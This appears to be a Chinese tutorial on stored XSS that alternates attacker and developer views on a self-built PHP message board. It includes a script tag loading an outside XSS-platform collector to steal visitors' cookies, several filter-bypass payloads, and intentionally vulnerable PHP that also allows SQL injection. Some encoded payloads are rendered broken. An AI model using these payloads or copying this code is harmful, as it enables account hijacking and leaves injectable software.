什麼是儲存型XSS
#它是透過對網頁注入可執行程式碼且成功地被瀏覽器執行,達到攻擊的目的,一般是注入一段javascript腳本。在測試過程中,我們一般是使用:
<script>alert(1)</script>
透過這段js程式碼,彈個框來證明有xss漏洞。那麼,可能新手就會問了,彈個框有什麼用呢?
其實,彈框只是為了證明有這個漏洞。而此漏洞的利用方式由很多種。
例如,你可以使用xss平台:
寫入一段平台產生的xss腳本:
<script src=//xsspt.com/ZsgUBf></script>
當某人進入帶有這個腳本的頁面時,js腳本會取得他的cookie並發送到xss平台。
你只需要登入xss平台等待即可,拿到cookie後,可以不需要密碼登入他的帳號。
注意:本文的重點是一步一步以駭客的角度進行xss攻擊,再討論如何站在開發者的角度去一步一步防禦xss攻擊。所以我會在本文中以開發的身份修正後端程式碼,再以駭客的身份進行前端頁面的xss攻擊,這一點需要注意哦。
對於儲存型xss漏洞的表現形式,比較經典的是留言板。但是我們都是遵紀守法的好同學,不能對外面的網站進行測試,所以就花半個小時自己手擼一個留言板咯。
首先,應該有前端展示的頁面Message_Board.php和後端儲存資料的頁面addMessage.php
前端程式碼不是本文重點(感興趣的可以自行查看前端程式碼),我們將重點放在後端程式碼addMessage.php:
<?php $nickname = @$_POST['nickname'];//昵称 $email = @$_POST['email'];//邮箱 $content = @$_POST['content'];//留言内容 $now_time = @$_POST['now_time'];//留言时间 $ini= @parse_ini_file("config.ini"); $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]); if($con){ mysql_query("set names 'utf8'");//解决中文乱码问题 mysql_select_db($ini["dbname"]); $sql1 = "select count(*) from message_board"; $result = mysql_query($sql1); $floor = mysql_fetch_row($result)[0] + 1; $sql = "insert into message_board values ($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")"; mysql_query($sql); }?>
可以看到,我們對傳入的四個參數完全沒有處理,而是直接存入資料庫中。
所以,只要我們這樣輸入:
提交之後,系統會自動刷新頁面出現彈框:
點擊確定後,你會發現留言內容和留言者的部分都是空。
這是因為js腳本已經被解析了,這時我們按下F12,開啟瀏覽器的開發者工具,發現了js腳本。
那麼,問題來了。
畢竟我們還有另一個身份,開發者該如何防禦呢?
0×00、來個最簡單的,只修改前端程式碼
在input標籤裡面加上maxlength屬性
<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">
至於原理嘛,就是因為js腳本的形式為<script></script>長度為17,所以只要我們在前端對長度進行限制,就可以阻止駭客進行xss攻擊了。
可是!開發可沒這麼好做!
我們是想做開發的駭客,所以還要自己搞自己。
身為攻擊者,我們同樣可以修改前端程式碼,具體的操作是使用瀏覽器的F12(開發者工具)
可以看到,我們可以直接進行長度的修改。
另外,還可以用抓包的方法,在包包裡面直接寫,也是不受長度限制的。
0×01、對關鍵字script進行過濾
作為開發者,你很容易發現,要想進行xss攻擊,必須插入一段js腳本,而js腳本的特徵是很明顯的,腳本中包含script關鍵字,那麼我們只需要進行script過濾。
回到之前的程式碼。
為方便說明,我只取nickname參數,其實傳入的四個參數需要做同樣的處理。
$nickname = str_replace("script", "", @$_POST['nickname']);//昵称
上面这个str_replace()函数的意思是把script替换为空。
可以看到,script被替换为空,弹框失败。
那么黑客该如何继续进行攻击呢?
答案是:大小写绕过
<script>alert(1)</script>
因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。
成功弹框!
0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字
作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。
后端代码修正如下:
$nickname = str_ireplace("script", "", @$_POST['nickname']);//昵称
str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。
那么,黑客该如何绕过?
答案是:双写script
<Sscriptcript>alert(1)</Sscriptcript>
原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。
弹框成功!
0×03、使用preg_replace()函数进行正则表达式过滤script关键字
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称
显然,弹框失败。
攻击者如何再一次绕过?
答案是:用img标签的oneerror属性
<img src=x onerror=alert(1) alt="一次儲存型XSS的攻防實戰" >
0×04、过滤alert关键字
看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称 $nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称
那么,攻击者该怎么办呢?
答案是:编码绕过
<a href=javascript:alert( 1)>a</a>
当点击页面上的超链接时,会弹框。
但是为什么呢?
这种编码方式为字符编码
字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“数值;”, 例如“j”可以编码为“j”或“j ”
上述代码解码之后如下:
<a href=javascript:alert(1)>a</a>
你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。
作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?
当然可以了:用iframe标签编码
<iframe src=javascript:alert(1 )>
这种写法,同样既没有script关键字,又没有alert关键字。
可以看到弹框成功!
可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。
0×05、过滤特殊字符
优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?
可是我不想手撸代码来列举那么多特殊字符怎么办?
php给我们提供了htmlentities()函数:
$nickname = htmlentities(@$_POST['nickname']);//昵称
htmlentities()函数的作用是把字符转换为 HTML 实体。
看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(
可以看到,我们输入的内容全部显示在页面上了。
可是却没有弹框。
我们鼠标右键,查看网页源代码
际上,我们输入的内容已经变成了HTML实体:
<iframe src=javascri pt:alert(1)>
无法被解析为js脚本。
黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)
0×06、总结
开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。
黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。
对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。
相关文章教程推荐:web服务器安全
以上是一次儲存型XSS的攻防實戰的詳細內容。更多資訊請關注PHP中文網其他相關文章!